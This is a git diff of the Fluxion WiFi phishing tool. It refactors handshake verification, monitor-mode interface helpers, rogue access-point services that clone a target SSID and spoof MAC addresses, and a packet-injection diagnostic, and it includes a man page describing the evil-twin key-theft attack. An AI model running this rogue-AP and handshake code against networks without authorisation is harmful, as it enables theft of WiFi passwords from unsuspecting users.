FLUXIONHashFileDoesNotExistError="Hash文件不存在!"
|
||||||
FLUXIONHashInvalidError="${CRed}错误$CClr, 无效的Hash文件!"
|
FLUXIONHashInvalidError="${CRed}错误$CClr, 无效的Hash文件!"
|
||||||
|
|
|
@ -6,21 +6,24 @@ readonly HashUtilsVersion="1.0"
|
||||||
HashOutputDevice="/dev/stdout"
|
HashOutputDevice="/dev/stdout"
|
||||||
|
|
||||||
function hash_check_handshake() {
|
function hash_check_handshake() {
|
||||||
local handshakeVerifier=$1
|
local -r handshakeVerifier=$1
|
||||||
local handshakePath=$2
|
local -r handshakePath=$2
|
||||||
local handshakeAPSSID=$3
|
local -r handshakeAPSSID=$3
|
||||||
local handshakeAPMAC=$4
|
local -r handshakeAPMAC=$4
|
||||||
|
|
||||||
local analysis
|
echo "Verifier Parameters: " > $HashOutputDevice
|
||||||
local hashData
|
echo " Verifier: $handshakeVerifier" > $HashOutputDevice
|
||||||
|
echo "Hash Path: $handshakePath" > $HashOutputDevice
|
||||||
|
echo "Hash SSID: \"$handshakeAPSSID\"" > $HashOutputDevice
|
||||||
|
echo " Hash MAC: $handshakeAPMAC" > $HashOutputDevice
|
||||||
|
|
||||||
echo "Verifier Parameters: $handshakeVerifier, path $handshakePath, SSID \"$handshakeAPSSID\", MAC $handshakeAPMAC" >$HashOutputDevice
|
local analysis # Since it's being used in all relevant instances.
|
||||||
|
|
||||||
case "$handshakeVerifier" in
|
case "$handshakeVerifier" in
|
||||||
"pyrit")
|
"pyrit")
|
||||||
readarray analysis < <(pyrit -r "$handshakePath" analyze 2>$HashOutputDevice)
|
readarray analysis < <(pyrit -r "$handshakePath" analyze 2> $HashOutputDevice)
|
||||||
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
||||||
echo "Error: pyrit seems to be broken!" >$HashOutputDevice
|
echo "Error: pyrit seems to be broken!" > $HashOutputDevice
|
||||||
return 1
|
return 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
@ -28,22 +31,22 @@ function hash_check_handshake() {
|
||||||
|
|
||||||
if [ "$hashMeta" ]; then
|
if [ "$hashMeta" ]; then
|
||||||
local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}')
|
local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}')
|
||||||
hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_SHA[0-9]+_AES/{ print \$0 }")
|
local hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_(SHA[0-9]+_AES|MD5_RC4)/{ print \$0 }")
|
||||||
else
|
else
|
||||||
echo "No valid hash meta was found for \"$handshakeAPSSID\"" >$HashOutputDevice
|
echo "No valid hash meta was found for \"$handshakeAPSSID\"" > $HashOutputDevice
|
||||||
fi
|
fi
|
||||||
;;
|
;;
|
||||||
"aircrack-ng")
|
"aircrack-ng")
|
||||||
readarray analysis < <(aircrack-ng "$handshakePath" 2>$HashOutputDevice)
|
readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice)
|
||||||
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
||||||
echo "Error: aircrack-ng seems to be broken!" >$HashOutputDevice
|
echo "Error: aircrack-ng seems to be broken!" > $HashOutputDevice
|
||||||
return 1
|
return 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID")
|
local hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID")
|
||||||
;;
|
;;
|
||||||
*)
|
*)
|
||||||
echo "Invalid verifier, quitting!"
|
echo "Invalid verifier, quitting!" > $HashOutputDevice
|
||||||
return 1
|
return 1
|
||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
|
@ -53,18 +56,24 @@ function hash_check_handshake() {
|
||||||
return 1
|
return 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
local hashResult
|
|
||||||
case "$handshakeVerifier" in
|
case "$handshakeVerifier" in
|
||||||
"pyrit") hashResult=$(echo "$hashData" | grep "good") ;;
|
"pyrit")
|
||||||
"aircrack-ng") hashResult=$(echo "$hashData" | grep "(1 handshake)") ;;
|
if echo "$hashData" | grep -qF "good"; then
|
||||||
|
local -r hashResult=1
|
||||||
|
fi ;;
|
||||||
|
|
||||||
|
"aircrack-ng")
|
||||||
|
if echo "$hashData" | grep -qE "\([0-9]+ handshake\)"; then
|
||||||
|
local -r hashResult=1
|
||||||
|
fi ;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
if [ -z "$hashResult" ]; then
|
if [ -z "$hashResult" ]; then
|
||||||
echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!"
|
echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice
|
||||||
HASHCheckHandshake="invalid"
|
HASHCheckHandshake="invalid"
|
||||||
return 1
|
return 1
|
||||||
else
|
else
|
||||||
echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!"
|
echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice
|
||||||
HASHCheckHandshake="valid"
|
HASHCheckHandshake="valid"
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
|
@ -0,0 +1,96 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
function fluxion_help{
|
||||||
|
echo " FLUXION(1) User Manuals FLUXION(1)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
NAME
|
||||||
|
fluxion - Fluxion is a security auditing and social-engineering
|
||||||
|
research tool
|
||||||
|
|
||||||
|
SYNOPSIS
|
||||||
|
fluxion [-debug] [-l language ] attack ...
|
||||||
|
|
||||||
|
DESCRIPTION
|
||||||
|
fluxion is a security auditing and social-engineering research tool.
|
||||||
|
It is a remake of linset by vk496 with (hopefully) less bugs and more
|
||||||
|
functionality. The script attempts to retrieve the WPA/WPA2 key from a
|
||||||
|
target access point by means of a social engineering (phising) attack.
|
||||||
|
It's compatible with the latest release of Kali (rolling). Fluxion's
|
||||||
|
attacks' setup is mostly manual, but experimental auto-mode handles
|
||||||
|
some of the attacks' setup parameters.
|
||||||
|
|
||||||
|
OPTIONS
|
||||||
|
-v Print version number.
|
||||||
|
|
||||||
|
--help Print help page and exit with 0.
|
||||||
|
|
||||||
|
-m Run fluxion in manual mode instead of auto mode.
|
||||||
|
|
||||||
|
-k Kill wireless connection if it is connected.
|
||||||
|
|
||||||
|
-d Run fluxion in debug mode.
|
||||||
|
|
||||||
|
-x Try to run fluxion with xterm terminals instead of tmux.
|
||||||
|
|
||||||
|
-r Reload driver.
|
||||||
|
|
||||||
|
-l <language>
|
||||||
|
Define a certain language.
|
||||||
|
|
||||||
|
-e <essid>
|
||||||
|
Select the target network based on the ESSID.
|
||||||
|
|
||||||
|
-c <channel>
|
||||||
|
Indicate the channel(s) to listen to.
|
||||||
|
|
||||||
|
-a <attack>
|
||||||
|
Define a certain attack.
|
||||||
|
|
||||||
|
--ratio <ratio>
|
||||||
|
Define the windows size. Bigger ratio -> smaller window size.
|
||||||
|
Default is 4.
|
||||||
|
|
||||||
|
-b <bssid>
|
||||||
|
Select the target network based on the access point MAC address.
|
||||||
|
|
||||||
|
-j <jamming interface>
|
||||||
|
Define a certain jamming interface.
|
||||||
|
|
||||||
|
-a <access point interface>
|
||||||
|
Define a certain access point interface.
|
||||||
|
|
||||||
|
FILES
|
||||||
|
/tmp/fluxspace/
|
||||||
|
The system wide tmp directory.
|
||||||
|
$FLUXION/attacks/
|
||||||
|
Folder where handshakes and passwords are stored in.
|
||||||
|
|
||||||
|
ENVIRONMENT
|
||||||
|
FLUXIONAuto
|
||||||
|
Automatically run fluxion in auto mode if exported.
|
||||||
|
|
||||||
|
FLUXIONDebug
|
||||||
|
Automatically run fluxion in debug mode if exported.
|
||||||
|
|
||||||
|
FLUXIONWIKillProcesses
|
||||||
|
Automatically kill any interfering process(es).
|
||||||
|
|
||||||
|
DIAGNOSTICS
|
||||||
|
Please checkout the other log files or use the debug mode.
|
||||||
|
|
||||||
|
BUGS
|
||||||
|
Please report any bugs at: https://github.com/FluxionNetwork/flux-
|
||||||
|
ion/issues
|
||||||
|
|
||||||
|
AUTHOR
|
||||||
|
Cyberfee, l3op, dlinkproto, vk496, MPX4132
|
||||||
|
|
||||||
|
SEE ALSO
|
||||||
|
aircrack-ng(8),
|
||||||
|
|
||||||
|
|
||||||
|
Linux MARCH 2018 FLUXION(1)"
|
||||||
|
|
||||||
|
}
|
|
@ -11,22 +11,20 @@ if [ -d /sys/bus/usb ] # && hash lsusb;
|
||||||
then InterfaceUSBBus=1
|
then InterfaceUSBBus=1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ] # && hash lspci;
|
if [ -d /sys/bus/pci -o -d /sys/bus/pci_express -o -d /proc/bus/pci ] # && hash lspci;
|
||||||
then InterfacePCIBus=1
|
then InterfacePCIBus=1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Checks if the interface belongs to a physical device.
|
# Checks if the interface belongs to a physical device.
|
||||||
function interface_is_real() {
|
function interface_is_real() {
|
||||||
if [ -d /sys/class/net/$1/device ]; then return 0
|
test -d /sys/class/net/$1/device
|
||||||
else return 1
|
return $?
|
||||||
fi
|
|
||||||
}
|
}
|
||||||
|
|
||||||
# Checks if the interface belongs to a wireless device.
|
# Checks if the interface belongs to a wireless device.
|
||||||
function interface_is_wireless() {
|
function interface_is_wireless() {
|
||||||
if grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent; then return 0
|
grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent
|
||||||
else return 1
|
return $?
|
||||||
fi
|
|
||||||
}
|
}
|
||||||
|
|
||||||
# Returns an array of absolutely all interfaces.
|
# Returns an array of absolutely all interfaces.
|
||||||
|
@ -146,64 +144,39 @@ function interface_state() {
|
||||||
|
|
||||||
function interface_set_state() {
|
function interface_set_state() {
|
||||||
if [ "${#@}" -ne 2 ]; then return 1; fi
|
if [ "${#@}" -ne 2 ]; then return 1; fi
|
||||||
|
# TODO: Add alternatives to 'ip' in case of failure.
|
||||||
ip link set "$1" "$2"
|
ip link set "$1" "$2"
|
||||||
|
return $?
|
||||||
}
|
}
|
||||||
|
|
||||||
function interface_set_mode() {
|
function interface_set_mode() {
|
||||||
if [ "${#@}" -ne 2 ]; then return 1; fi
|
if [ "${#@}" -ne 2 ]; then return 1; fi
|
||||||
if ! interface_set_state "$1" "down"; then return 2; fi
|
if ! interface_set_state "$1" "down"; then return 2; fi
|
||||||
if ! iwconfig "$1" mode "$2" &>$InterfaceUtilsOutputDevice; then return 3; fi
|
if ! iw dev "$1" set type "$2" &> $InterfaceUtilsOutputDevice; then
|
||||||
|
if ! iwconfig "$1" mode "$2" &> $InterfaceUtilsOutputDevice
|
||||||
|
then return 3
|
||||||
|
fi
|
||||||
|
fi
|
||||||
if ! interface_set_state "$1" "up"; then return 4; fi
|
if ! interface_set_state "$1" "up"; then return 4; fi
|
||||||
}
|
}
|
||||||
|
|
||||||
function interface_prompt() {
|
function interface_reidentify() {
|
||||||
if [ -z "$1" -o -z "$2" ]; then return 1; fi
|
if [ ${#@} -ne 2 ]; then return 1; fi
|
||||||
|
|
||||||
local __interface_prompt__ifAvailable=("${!2}")
|
local -r __interface_reidentify__oldIdentifier=$1
|
||||||
local __interface_prompt__ifAvailableInfo=()
|
local -r __interface_reidentify__newIdentifier=$2
|
||||||
local __interface_prompt__ifAvailableColor=()
|
|
||||||
local __interface_prompt__ifAvailableState=()
|
|
||||||
|
|
||||||
local __interface_prompt__ifCandidate
|
if [[ $__interface_reidentify__newIdentifier == *" "* ]]
|
||||||
for __interface_prompt__ifCandidate in "${__interface_prompt__ifAvailable[@]}"; do
|
then return 2
|
||||||
interface_chipset "$__interface_prompt__ifCandidate"
|
|
||||||
__interface_prompt__ifAvailableInfo+=("$InterfaceChipset")
|
|
||||||
|
|
||||||
interface_state "$__interface_prompt__ifCandidate"
|
|
||||||
|
|
||||||
if [ "$InterfaceState" = "up" ]; then
|
|
||||||
__interface_prompt__ifAvailableColor+=("$CPrp")
|
|
||||||
__interface_prompt__ifAvailableState+=("[-]")
|
|
||||||
else
|
|
||||||
__interface_prompt__ifAvailableColor+=("$CClr")
|
|
||||||
__interface_prompt__ifAvailableState+=("[+]")
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
# The following conditional is required since io_query_format_fields
|
|
||||||
# only considers the the size of the first parameter, available color.
|
|
||||||
if [ "$6" ]; then # Add alternative choices
|
|
||||||
__interface_prompt__ifAvailable+=("${!3}")
|
|
||||||
__interface_prompt__ifAvailableInfo+=("${!4}")
|
|
||||||
__interface_prompt__ifAvailableState+=("${!5}")
|
|
||||||
__interface_prompt__ifAvailableColor+=("${!6}")
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# If only one interface exists and it's available, choose it.
|
if ! interface_set_state $__interface_reidentify__oldIdentifier down
|
||||||
if [ "${#__interface_prompt__ifAvailable[@]}" -eq 1 -a "${__interface_prompt__ifAvailableState[0]}" = "[+]" ]; then
|
then return 3
|
||||||
InterfacePromptWISelected="${__interface_prompt__ifAvailable[0]}"
|
|
||||||
InterfacePromptWISelectedState="[+]" # It passed the condition, it must be +
|
|
||||||
InterfacePromptWISelectedInfo="${__interface_prompt__ifAvailableInfo[0]}"
|
|
||||||
else
|
|
||||||
format_apply_autosize "$CRed[$CSYel%1d$CClr$CRed]%b %-8b %3s$CClr %-*.*s\n"
|
|
||||||
io_query_format_fields "$1" "$FormatApplyAutosize" \
|
|
||||||
__interface_prompt__ifAvailableColor[@] __interface_prompt__ifAvailable[@] \
|
|
||||||
__interface_prompt__ifAvailableState[@] __interface_prompt__ifAvailableInfo[@]
|
|
||||||
|
|
||||||
echo
|
|
||||||
|
|
||||||
InterfacePromptIfSelected="${IOQueryFormatFields[1]}"
|
|
||||||
InterfacePromptIfSelectedState="${IOQueryFormatFields[2]}"
|
|
||||||
InterfacePromptWISelectedInfo="${IOQueryFormatFields[3]}"
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# TODO: Add alternatives to 'ip' in case of failure.
|
||||||
|
ip link set $__interface_reidentify__oldIdentifier name $__interface_reidentify__newIdentifier
|
||||||
|
return $?
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# FLUXSCRIPT END
|
||||||
|
|
|
@ -3,55 +3,87 @@
|
||||||
# ================================================================
|
# ================================================================
|
||||||
# Configuration Section
|
# Configuration Section
|
||||||
# ================================================================
|
# ================================================================
|
||||||
VIGW="at0"
|
#APServiceConfigDirectory=$FLUXIONWorkspacePath
|
||||||
VIAP=$WIAccessPoint
|
|
||||||
|
|
||||||
# airbase-ng uses a monitor-mode virtual interface
|
|
||||||
# and creates a separate interface, atX, for dhcpd.
|
|
||||||
VIAPAddress="$VIGWNetwork.2"
|
|
||||||
|
|
||||||
# APServiceConfigDirectory=$FLUXIONWorkspacePath
|
|
||||||
# ================================================================
|
# ================================================================
|
||||||
|
|
||||||
#if [ "$APServiceVersion" ]; then return 0; fi
|
#if [ "$APServiceVersion" ]; then return 0; fi
|
||||||
#readonly APServiceVersion="1.0"
|
#readonly APServiceVersion="1.0"
|
||||||
|
|
||||||
function ap_stop() {
|
function ap_service_stop() {
|
||||||
if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice
|
if [ "$APServicePID" ]; then
|
||||||
|
kill $APServicePID &> $FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
APServicePID=""
|
APServicePID=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_reset() {
|
function ap_service_reset() {
|
||||||
ap_stop
|
ap_service_stop
|
||||||
|
|
||||||
|
APServiceAccessInterface=""
|
||||||
|
|
||||||
|
APServiceChannel=""
|
||||||
|
APServiceMAC=""
|
||||||
|
APServiceSSID=""
|
||||||
|
APServiceInterfaceAddress=""
|
||||||
|
APServiceInterface=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_route() {
|
function ap_service_route() {
|
||||||
ifconfig $VIAP $VIAPAddress netmask 255.255.255.0
|
local networkSubnet=${APServiceInterfaceAddress%.*}
|
||||||
sysctl net.ipv6.conf.at0.disable_ipv6=1 &>$FLUXIONOutputDevice
|
local networkAddress=$(( ( ${APServiceInterfaceAddress##*.} + 1 ) % 255 ))
|
||||||
|
|
||||||
|
if [ $hostID -eq 0 ]; then
|
||||||
|
let hostID++
|
||||||
|
fi
|
||||||
|
|
||||||
|
# TODO: Dynamically get the airbase-ng tap interface & use below.
|
||||||
|
# WARNING: Notice the interface below is STATIC, it'll break eventually!
|
||||||
|
if ! ifconfig "at0" $networkSubnet.$networkAddress \
|
||||||
|
netmask 255.255.255.0; then
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! sysctl net.ipv6.conf.at0.disable_ipv6=1 &> $FLUXIONOutputDevice; then
|
||||||
|
return 2
|
||||||
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_prep() {
|
function ap_service_prep() {
|
||||||
ap_stop
|
if [ ${#@} -lt 5 ]; then return 1; fi
|
||||||
|
|
||||||
|
APServiceInterface=$1
|
||||||
|
APServiceInterfaceAddress=$2
|
||||||
|
APServiceSSID=$3
|
||||||
|
APServiceMAC=$4
|
||||||
|
APServiceChannel=$5
|
||||||
|
|
||||||
|
ap_service_stop
|
||||||
|
|
||||||
# Spoof virtual interface MAC address.
|
# Spoof virtual interface MAC address.
|
||||||
# This is done by airbase-ng automatically.
|
# This is done by airbase-ng automatically.
|
||||||
|
|
||||||
|
# airbase-ng uses a monitor-mode virtual interface
|
||||||
|
# and creates a separate interface, atX, for dhcpd.
|
||||||
|
APServiceAccessInterface="at0"
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_start() {
|
function ap_service_start() {
|
||||||
ap_stop
|
ap_service_stop
|
||||||
|
|
||||||
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP &
|
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \
|
||||||
|
-title "FLUXION AP Service [airbase-ng]" -e \
|
||||||
|
airbase-ng -P -e $APServiceSSID -c $APServiceChannel \
|
||||||
|
-a $APServiceMAC $APServiceInterface &
|
||||||
local parentPID=$!
|
local parentPID=$!
|
||||||
|
|
||||||
# Wait till airebase-ng has started and created the extra virtual interface.
|
# Wait till airebase-ng starts and creates the extra virtual interface.
|
||||||
while [ ! "$APServicePID" ]; do
|
while [ ! "$APServicePID" ]; do
|
||||||
sleep 1
|
sleep 1
|
||||||
APServicePID=$(pgrep -P $parentPID)
|
APServicePID=$(pgrep -P $parentPID)
|
||||||
done
|
done
|
||||||
|
|
||||||
ap_route
|
ap_service_route
|
||||||
}
|
}
|
||||||
|
|
||||||
# FLUXSCRIPT END
|
# FLUXSCRIPT END
|
||||||
|
|
|
@ -3,69 +3,87 @@
|
||||||
# ================================================================
|
# ================================================================
|
||||||
# Configuration Section
|
# Configuration Section
|
||||||
# ================================================================
|
# ================================================================
|
||||||
VIGW=$WIAccessPoint
|
|
||||||
VIAP=$WIAccessPoint
|
|
||||||
|
|
||||||
# HostAPD sets the virtual interface mode
|
|
||||||
# to master, which is supported by dhcpd.
|
|
||||||
VIAPAddress=$VIGWAddress
|
|
||||||
|
|
||||||
APServiceConfigDirectory=$FLUXIONWorkspacePath
|
APServiceConfigDirectory=$FLUXIONWorkspacePath
|
||||||
# ================================================================
|
# ================================================================
|
||||||
|
|
||||||
#if [ "$APServiceVersion" ]; then return 0; fi
|
#if [ "$APServiceVersion" ]; then return 0; fi
|
||||||
#readonly APServiceVersion="1.0"
|
#readonly APServiceVersion="1.0"
|
||||||
|
|
||||||
function ap_stop() {
|
function ap_service_stop() {
|
||||||
if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice
|
if [ "$APServicePID" ]; then
|
||||||
|
kill $APServicePID &> $FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
APServicePID=""
|
APServicePID=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_reset() {
|
function ap_service_reset() {
|
||||||
ap_stop
|
ap_service_stop
|
||||||
|
|
||||||
# Reset MAC address to original.
|
# Reset MAC address to original.
|
||||||
ifconfig $VIAP down
|
ifconfig $APServiceInterface down
|
||||||
sleep 0.5
|
sleep 0.5
|
||||||
|
|
||||||
macchanger -p $VIAP &>$FLUXIONOutputDevice
|
macchanger -p $APServiceInterface &> $FLUXIONOutputDevice
|
||||||
sleep 0.5
|
sleep 0.5
|
||||||
|
|
||||||
ifconfig $VIAP up
|
ifconfig $APServiceInterface up
|
||||||
sleep 0.5
|
sleep 0.5
|
||||||
|
|
||||||
|
APServiceAccessInterface=""
|
||||||
|
|
||||||
|
APServiceChannel=""
|
||||||
|
APServiceMAC=""
|
||||||
|
APServiceSSID=""
|
||||||
|
APServiceInterfaceAddress=""
|
||||||
|
APServiceInterface=""
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_route() {
|
function ap_service_route() {
|
||||||
echo "APService: No custom routes for hostapd" >$FLUXIONOutputDevice
|
echo "APService: No custom routes for hostapd" > $FLUXIONOutputDevice
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_prep() {
|
function ap_service_prep() {
|
||||||
ap_stop
|
if [ ${#@} -lt 5 ]; then return 1; fi
|
||||||
|
|
||||||
|
APServiceInterface=$1
|
||||||
|
APServiceInterfaceAddress=$2
|
||||||
|
APServiceSSID=$3
|
||||||
|
APServiceMAC=$4
|
||||||
|
APServiceChannel=$5
|
||||||
|
|
||||||
|
ap_service_stop
|
||||||
|
|
||||||
# Prepare the hostapd config file.
|
# Prepare the hostapd config file.
|
||||||
echo "\
|
echo "\
|
||||||
interface=$VIAP
|
interface=$APServiceInterface
|
||||||
driver=nl80211
|
driver=nl80211
|
||||||
ssid=$APTargetSSID
|
ssid=$APServiceSSID
|
||||||
channel=$APTargetChannel" >"$APServiceConfigDirectory/$APRogueMAC-hostapd.conf"
|
channel=$APServiceChannel" \
|
||||||
|
> "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf"
|
||||||
|
|
||||||
# Spoof virtual interface MAC address.
|
# Spoof virtual interface MAC address.
|
||||||
ifconfig $VIAP down
|
ifconfig $APServiceInterface down
|
||||||
sleep 0.5
|
sleep 0.5
|
||||||
|
|
||||||
macchanger --mac=$APRogueMAC $VIAP &>$FLUXIONOutputDevice
|
macchanger --mac=$APServiceMAC $APServiceInterface &> $FLUXIONOutputDevice
|
||||||
sleep 0.5
|
sleep 0.5
|
||||||
|
|
||||||
ifconfig $VIAP up
|
ifconfig $APServiceInterface up
|
||||||
sleep 0.5
|
sleep 0.5
|
||||||
|
|
||||||
|
# HostAPD sets the virtual interface mode
|
||||||
|
# to master, which is supported by dhcpd.
|
||||||
|
APServiceAccessInterface=$APServiceInterface
|
||||||
}
|
}
|
||||||
|
|
||||||
function ap_start() {
|
function ap_service_start() {
|
||||||
ap_stop
|
ap_service_stop
|
||||||
|
|
||||||
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" &
|
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \
|
||||||
|
-title "FLUXION AP Service [hostapd]" -e \
|
||||||
|
hostapd "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf" &
|
||||||
local parentPID=$!
|
local parentPID=$!
|
||||||
|
|
||||||
# Wait till hostapd has started and its virtual interface is ready.
|
# Wait till hostapd has started and its virtual interface is ready.
|
||||||
|
@ -74,7 +92,7 @@ function ap_start() {
|
||||||
APServicePID=$(pgrep -P $parentPID)
|
APServicePID=$(pgrep -P $parentPID)
|
||||||
done
|
done
|
||||||
|
|
||||||
ap_route
|
ap_service_route
|
||||||
}
|
}
|
||||||
|
|
||||||
# FLUXSCRIPT END
|
# FLUXSCRIPT END
|
||||||
|
|
|
@ -0,0 +1,19 @@
|
||||||
|
## Arguments table
|
||||||
|
|
||||||
|
| Arguments | Describtion |
|
||||||
|
| ------------- | ------------- |
|
||||||
|
| -a | Give a Attack |
|
||||||
|
| -e | Give a certain essid |
|
||||||
|
| -b | Give a certain bssid |
|
||||||
|
| -- | Maker is required |
|
||||||
|
| -a | Access point interface |
|
||||||
|
| -j | Jamming interface |
|
||||||
|
| -x | Use xterm instead of tmux |
|
||||||
|
| -v | Print version number |
|
||||||
|
| -d | Run fluxion in debug mode |
|
||||||
|
| -k | Kill wireless connection if it is connected |
|
||||||
|
| -m | Run fluxion in manual mode instead of auto |
|
||||||
|
| -l | Language |
|
||||||
|
|
||||||
|
## Samples
|
||||||
|
`./fluxion -a [ATTACK] -e [ESSID] -b [BSSID] -c [CHANNEL] -- -a [AP INTERFACE] -j [JAMMING INTERFACE]`
|
|
@ -1,4 +1,6 @@
|
||||||
#!/ bin / bash
|
#!/ bin / bash
|
||||||
|
|
||||||
export FLUXIONDebug = 1 export FLUXIONWIKillProcesses =
|
# These are the debug flags used by the script
|
||||||
1 export FLUXIONWIReloadDriver = 1
|
export FLUXIONDebug=1
|
||||||
|
export FLUXIONWIKillProcesses=1
|
||||||
|
export FLUXIONWIReloadDriver=1
|
||||||
|
|
|
@ -1,66 +1,89 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
if [ -d "lib" ]; then source lib/InterfaceUtils.sh
|
clear
|
||||||
elif [ -d "../lib" ]; then source ../lib/InterfaceUtils.sh
|
declare -r HEADER_SIZE="####"
|
||||||
|
|
||||||
|
# Diagnostic script
|
||||||
|
|
||||||
|
if [ -d "lib" ];then
|
||||||
|
source lib/InterfaceUtils.sh
|
||||||
|
elif [ -d "../lib" ];then
|
||||||
|
source ../lib/InterfaceUtils.sh
|
||||||
else
|
else
|
||||||
echo "YOU MUST EXECUTE THIS SCRIPT FROM FLUXION'S ROOT!"
|
echo -e "\033[31mError lib folder not found\033[0m"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ ! "$1" ]; then
|
if [ ! "$1" ]; then
|
||||||
echo "Usage ./scripts/diagnostics <wireless_interface>"
|
echo "Usage ./scripts/diagnostics [wireless_interface]"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo "[ FLUXION Info ]"
|
echo "$HEADER_SIZE FLUXION Info"
|
||||||
if [ -f "./fluxion.sh" ]
|
if [ -f "fluxion" ];then
|
||||||
then declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion.sh))
|
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion))
|
||||||
else declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion.sh))
|
else
|
||||||
|
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion))
|
||||||
fi
|
fi
|
||||||
echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}"
|
echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}"
|
||||||
echo -ne "\n\n"
|
echo -ne "\n\n"
|
||||||
|
|
||||||
echo "[ BASH Info ]"
|
echo "$HEADER_SIZE BASH Info "
|
||||||
bash --version
|
bash --version
|
||||||
echo "Path: $(ls -L $(which bash))"
|
echo "**Path:** $(ls -L $(which bash))"
|
||||||
echo -ne "\n\n"
|
echo -ne "\n\n"
|
||||||
|
|
||||||
echo "[ Interface ($1) Info ]"
|
echo "$HEADER_SIZE Interface ($1) Info "
|
||||||
if interface_physical "$1"; then echo "Device: $InterfacePhysical"
|
if interface_physical "$1";then
|
||||||
else echo "Device: Unknown"
|
echo "**Device**: $InterfacePhysical"
|
||||||
|
else
|
||||||
|
echo "**Device:** Unknown"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if interface_driver "$1"; then echo "Driver: $InterfaceDriver"
|
if interface_driver "$1";then
|
||||||
else echo "Driver: Unsupported"
|
echo "**Driver:** $InterfaceDriver"
|
||||||
|
else
|
||||||
|
echo "**Driver:** Unsupported"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if interface_chipset "$1"; then echo "Chipset: $InterfaceChipset"
|
if interface_chipset "$1";then
|
||||||
else echo "Chipset: Unknown"
|
echo "**Chipset:** $InterfaceChipset"
|
||||||
|
else
|
||||||
|
echo "**Chipset:** Unknown"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo -n "Injection Test: "
|
if iw list | grep monitor | head -n 1 | tail -n 1 &>/dev/null;then
|
||||||
aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo "failed"
|
echo "**Master Modes** Yes"
|
||||||
|
else
|
||||||
|
echo "**Master Modes** No"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -n "**Injection Test:** "
|
||||||
|
aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo -e "\033[31mFailed\033[0m"
|
||||||
echo -ne "\n\n"
|
echo -ne "\n\n"
|
||||||
|
|
||||||
